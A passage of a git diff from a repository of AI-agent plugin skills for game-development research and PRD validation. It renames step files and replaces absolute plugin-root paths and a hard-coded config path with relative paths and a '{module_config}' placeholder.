rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-10-smart-validation.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-11-holistic-quality-validation.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-11-holistic-quality-validation.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-11-holistic-quality-validation.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-11-holistic-quality-validation.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-12-completeness-validation.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-12-completeness-validation.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-12-completeness-validation.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-12-completeness-validation.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-13-report-complete.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-13-report-complete.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-13-report-complete.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-13-report-complete.md
diff --git a/plugins/bmad/skills/research/gds-domain-research/SKILL.md b/plugins/bmad/skills/research/gds-domain-research/SKILL.md
index 8702051..0c44947 100644
--- a/plugins/bmad/skills/research/gds-domain-research/SKILL.md
+++ b/plugins/bmad/skills/research/gds-domain-research/SKILL.md
@@ -3,4 +3,4 @@ name: gds-domain-research
 description: 'Conduct game domain and industry research. Use when the user says "lets create a research report on [game domain or industry]"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/research/market-steps/step-01-init.md b/plugins/bmad/skills/research/market-steps/step-01-init.md
index 48cd762..cb46f3a 100644
--- a/plugins/bmad/skills/research/market-steps/step-01-init.md
+++ b/plugins/bmad/skills/research/market-steps/step-01-init.md
@@ -140,7 +140,7 @@ Show initial scope document and present continue option:
 
 - Update frontmatter: `stepsCompleted: [1]`
 - Add confirmation note to document: "Scope confirmed by user on {{date}}"
-- Load: `${CLAUDE_PLUGIN_ROOT}/skills/research/market-steps/step-02-customer-behavior.md`
+- Load: `./step-02-customer-behavior.md`
 
 #### If 'Modify':
 
@@ -179,6 +179,6 @@ This step ensures:
 
 ## NEXT STEP:
 
-After user confirmation and scope finalization, load `${CLAUDE_PLUGIN_ROOT}/skills/research/market-steps/step-02-customer-behavior.md` to begin detailed game market research with player insights analysis.
+After user confirmation and scope finalization, load `./step-02-customer-behavior.md` to begin detailed game market research with player insights analysis.
 
 Remember: Init steps confirm understanding and scope, not generate research content!
diff --git a/plugins/bmad/skills/research/market-steps/step-02-customer-behavior.md b/plugins/bmad/skills/research/market-steps/step-02-customer-behavior.md
index b98776f..b23b93f 100644
--- a/plugins/bmad/skills/research/market-steps/step-02-customer-behavior.md
+++ b/plugins/bmad/skills/research/market-steps/step-02-customer-behavior.md
@@ -178,7 +178,7 @@ _Source: [URL]_
 
 - **CONTENT ALREADY WRITTEN TO DOCUMENT**
 - Update frontmatter: `stepsCompleted: [1, 2]`
-- Load: `${CLAUDE_PLUGIN_ROOT}/skills/research/market-steps/step-03-customer-pain-points.md`
+- Load: `./step-03-customer-pain-points.md`
 
 ## APPEND TO DOCUMENT:
 
@@ -231,6 +231,6 @@ Content is already written to document when generated in step 4. No additional a
 
 ## NEXT STEP:
 
-After user selects 'C', load `${CLAUDE_PLUGIN_ROOT}/skills/research/market-steps/step-03-customer-pain-points.md` to analyze player pain points, frustrations, and unmet needs for {{research_topic}}.
+After user selects 'C', load `./step-03-customer-pain-points.md` to analyze player pain points, frustrations, and unmet needs for {{research_topic}}.
 
 Remember: Always write research content to document immediately and emphasize current player data with rigorous source verification!
diff --git a/plugins/bmad/skills/research/market-steps/step-03-customer-pain-points.md b/plugins/bmad/skills/research/market-steps/step-03-customer-pain-points.md
index 91c9328..20ff50d 100644
--- a/plugins/bmad/skills/research/market-steps/step-03-customer-pain-points.md
+++ b/plugins/bmad/skills/research/market-steps/step-03-customer-pain-points.md
@@ -190,7 +190,7 @@ _Source: [URL]_
 
 - **CONTENT ALREADY WRITTEN TO DOCUMENT**
 - Update frontmatter: `stepsCompleted: [1, 2, 3]`
-- Load: `${CLAUDE_PLUGIN_ROOT}/skills/research/market-steps/step-04-customer-decisions.md`
+- Load: `./step-04-customer-decisions.md`
 
 ## APPEND TO DOCUMENT:
 
@@ -244,6 +244,6 @@ Content is already written to document when generated in step 4. No additional a
 
 ## NEXT STEP:
 
-After user selects 'C', load `${CLAUDE_PLUGIN_ROOT}/skills/research/market-steps/step-04-customer-decisions.md` to analyze player decision processes, purchase journeys, and game selection factors for {{research_topic}}.
+After user selects 'C', load `./step-04-customer-decisions.md` to analyze player decision processes, purchase journeys, and game selection factors for {{research_topic}}.
 
 Remember: Always write research content to document immediately and emphasize current player pain point data with rigorous source verification!
diff --git a/plugins/bmad/skills/research/market-steps/step-04-customer-decisions.md b/plugins/bmad/skills/research/market-steps/step-04-customer-decisions.md
index 28b31a8..4df2a49 100644
--- a/plugins/bmad/skills/research/market-steps/step-04-customer-decisions.md
+++ b/plugins/bmad/skills/research/market-steps/step-04-customer-decisions.md
@@ -200,7 +200,7 @@ _Source: [URL]_
 
 - **CONTENT ALREADY WRITTEN TO DOCUMENT**
 - Update frontmatter: `stepsCompleted: [1, 2, 3, 4]`
-- Load: `${CLAUDE_PLUGIN_ROOT}/skills/research/market-steps/step-05-competitive-analysis.md`
+- Load: `./step-05-competitive-analysis.md`
 
 ## APPEND TO DOCUMENT:
 
@@ -254,6 +254,6 @@ Content is already written to document when generated in step 4. No additional a
 
 ## NEXT STEP:
 
-After user selects 'C', load `${CLAUDE_PLUGIN_ROOT}/skills/research/market-steps/step-05-competitive-analysis.md` to analyze the competitive game landscape, competing studios, and market positioning for {{research_topic}}.
+After user selects 'C', load `./step-05-competitive-analysis.md` to analyze the competitive game landscape, competing studios, and market positioning for {{research_topic}}.
 
 Remember: Always write research content to document immediately and emphasize current player decision data with rigorous source verification!
diff --git a/plugins/bmad/skills/research/technical-steps/step-01-init.md b/plugins/bmad/skills/research/technical-steps/step-01-init.md
index c8cb55b..fc10d84 100644
--- a/plugins/bmad/skills/research/technical-steps/step-01-init.md
+++ b/plugins/bmad/skills/research/technical-steps/step-01-init.md
@@ -78,7 +78,7 @@ For **{{research_topic}}**, I will research:
 
 - Document scope confirmation in research file
 - Update frontmatter: `stepsCompleted: [1]`
-- Load: `${CLAUDE_PLUGIN_ROOT}/skills/research/technical-steps/step-02-technical-overview.md`
+- Load: `./step-02-technical-overview.md`
 
 ## APPEND TO DOCUMENT:
 
@@ -132,6 +132,6 @@ When user selects 'C', append scope confirmation:
 
 ## NEXT STEP:
 
-After user selects 'C', load `${CLAUDE_PLUGIN_ROOT}/skills/research/technical-steps/step-02-technical-overview.md` to begin game technology stack analysis.
+After user selects 'C', load `./step-02-technical-overview.md` to begin game technology stack analysis.
 
 Remember: This is SCOPE CONFIRMATION ONLY - no actual game technical research yet, just confirming the research approach and scope!
diff --git a/plugins/bmad/skills/research/technical-steps/step-02-technical-overview.md b/plugins/bmad/skills/research/technical-steps/step-02-technical-overview.md
index 3bd262c..b5c1013 100644
--- a/plugins/bmad/skills/research/technical-steps/step-02-technical-overview.md
+++ b/plugins/bmad/skills/research/technical-steps/step-02-technical-overview.md
@@ -180,7 +180,7 @@ _Source: [URL]_
 
 - **CONTENT ALREADY WRITTEN TO DOCUMENT**
 - Update frontmatter: `stepsCompleted: [1, 2]`
-- Load: `${CLAUDE_PLUGIN_ROOT}/skills/research/technical-steps/step-03-integration-patterns.md`
+- Load: `./step-03-integration-patterns.md`
 
 ## APPEND TO DOCUMENT:
 
@@ -234,6 +234,6 @@ Content is already written to document when generated in step 4. No additional a
 
 ## NEXT STEP:
 
-After user selects 'C', load `${CLAUDE_PLUGIN_ROOT}/skills/research/technical-steps/step-03-integration-patterns.md` to analyze online service integration, platform APIs, analytics, and game system interoperability for {{research_topic}}.
+After user selects 'C', load `./step-03-integration-patterns.md` to analyze online service integration, platform APIs, analytics, and game system interoperability for {{research_topic}}.
 
 Remember: Always write research content to document immediately and emphasize current game technology data with rigorous source verification!
diff --git a/plugins/bmad/skills/research/technical-steps/step-03-integration-patterns.md b/plugins/bmad/skills/research/technical-steps/step-03-integration-patterns.md
index f483cc0..e81b583 100644
--- a/plugins/bmad/skills/research/technical-steps/step-03-integration-patterns.md
+++ b/plugins/bmad/skills/research/technical-steps/step-03-integration-patterns.md
@@ -189,7 +189,7 @@ _Source: [URL]_
 
 - **CONTENT ALREADY WRITTEN TO DOCUMENT**
 - Update frontmatter: `stepsCompleted: [1, 2, 3]`
-- Load: `${CLAUDE_PLUGIN_ROOT}/skills/research/technical-steps/step-04-architectural-patterns.md`
+- Load: `./step-04-architectural-patterns.md`
 
 ## APPEND TO DOCUMENT:
 
@@ -243,6 +243,6 @@ Content is already written to document when generated in step 4. No additional a
 
 ## NEXT STEP:
 
-After user selects 'C', load `${CLAUDE_PLUGIN_ROOT}/skills/research/technical-steps/step-04-architectural-patterns.md` to analyze game architectural patterns, engine design decisions, and system structures for {{research_topic}}.
+After user selects 'C', load `./step-04-architectural-patterns.md` to analyze game architectural patterns, engine design decisions, and system structures for {{research_topic}}.
 
 Remember: Always write research content to document immediately and emphasize current game integration data with rigorous source verification!
diff --git a/plugins/bmad/skills/research/technical-steps/step-04-architectural-patterns.md b/plugins/bmad/skills/research/technical-steps/step-04-architectural-patterns.md
index 940f618..7ef81ac 100644
--- a/plugins/bmad/skills/research/technical-steps/step-04-architectural-patterns.md
+++ b/plugins/bmad/skills/research/technical-steps/step-04-architectural-patterns.md
@@ -184,7 +184,7 @@ Show the generated game architectural patterns and present continue option:
 
 - Append the final content to the research document
 - Update frontmatter: `stepsCompleted: [1, 2, 3, 4]`
-- Load: `${CLAUDE_PLUGIN_ROOT}/skills/research/technical-steps/step-05-implementation-research.md`
+- Load: `./step-05-implementation-research.md`
 
 ## APPEND TO DOCUMENT:
 
@@ -225,6 +225,6 @@ When user selects 'C', append the content directly to the research document usin
 
 ## NEXT STEP:
 
-After user selects 'C' and content is saved to document, load `${CLAUDE_PLUGIN_ROOT}/skills/research/technical-steps/step-05-implementation-research.md` to focus on game implementation approaches and technology adoption.
+After user selects 'C' and content is saved to document, load `./step-05-implementation-research.md` to focus on game implementation approaches and technology adoption.
 
 Remember: Always emphasize current game architectural data and rigorous source verification!
diff --git a/plugins/bmad/skills/research/technical-steps/step-05-implementation-research.md b/plugins/bmad/skills/research/technical-steps/step-05-implementation-research.md
index 99e7c1c..6a236ef 100644
--- a/plugins/bmad/skills/research/technical-steps/step-05-implementation-research.md
+++ b/plugins/bmad/skills/research/technical-steps/step-05-implementation-research.md
@@ -206,7 +206,7 @@ Show the generated game implementation research and present continue option:
 
 - Append the final content to the research document
 - Update frontmatter: `stepsCompleted: [1, 2, 3, 4, 5]`
-- Load: `${CLAUDE_PLUGIN_ROOT}/skills/research/technical-steps/step-06-research-synthesis.md`
+- Load: `./step-06-research-synthesis.md`
 
 ## APPEND TO DOCUMENT:
 
@@ -257,4 +257,4 @@ When 'C' is selected:
 
 ## NEXT STEP:
 
-After user selects 'C', load `${CLAUDE_PLUGIN_ROOT}/skills/research/technical-steps/step-06-research-synthesis.md` to produce the comprehensive game technical research document with narrative introduction, detailed TOC, and executive summary.
+After user selects 'C', load `./step-06-research-synthesis.md` to produce the comprehensive game technical research document with narrative introduction, detailed TOC, and executive summary.
diff --git a/plugins/bmad/skills/research/workflow-market-research.md b/plugins/bmad/skills/research/workflow-market-research.md
index 888a629..b9160ad 100644
--- a/plugins/bmad/skills/research/workflow-market-research.md
+++ b/plugins/bmad/skills/research/workflow-market-research.md
@@ -15,7 +15,7 @@ description: 'Conduct game market research on competition and players. Use when
 
 ## CONFIGURATION
 
-Load config from `.claude/bmad.local.md` and resolve:
+Load config from `{module_config}` and resolve:
 - `project_name`, `output_folder`, `planning_artifacts`, `user_name`
 - `communication_language`, `document_output_language`, `game_dev_experience`
 - `date` as a system-generated value
diff --git a/plugins/bmad/skills/research/workflow-technical-research.md b/plugins/bmad/skills/research/workflow-technical-research.md
index a5b758a..cd535b1 100644
--- a/plugins/bmad/skills/research/workflow-technical-research.md
+++ b/plugins/bmad/skills/research/workflow-technical-research.md
@@ -15,7 +15,7 @@ description: 'Conduct technical research on game technologies and architecture.
 
 ## CONFIGURATION
 
-Load config from `.claude/bmad.local.md` and resolve:
+Load config from `{module_config}` and resolve:
 - `project_name`, `output_folder`, `planning_artifacts`, `user_name`
 - `communication_language`, `document_output_language`, `game_dev_experience`
 - `date` as a system-generated value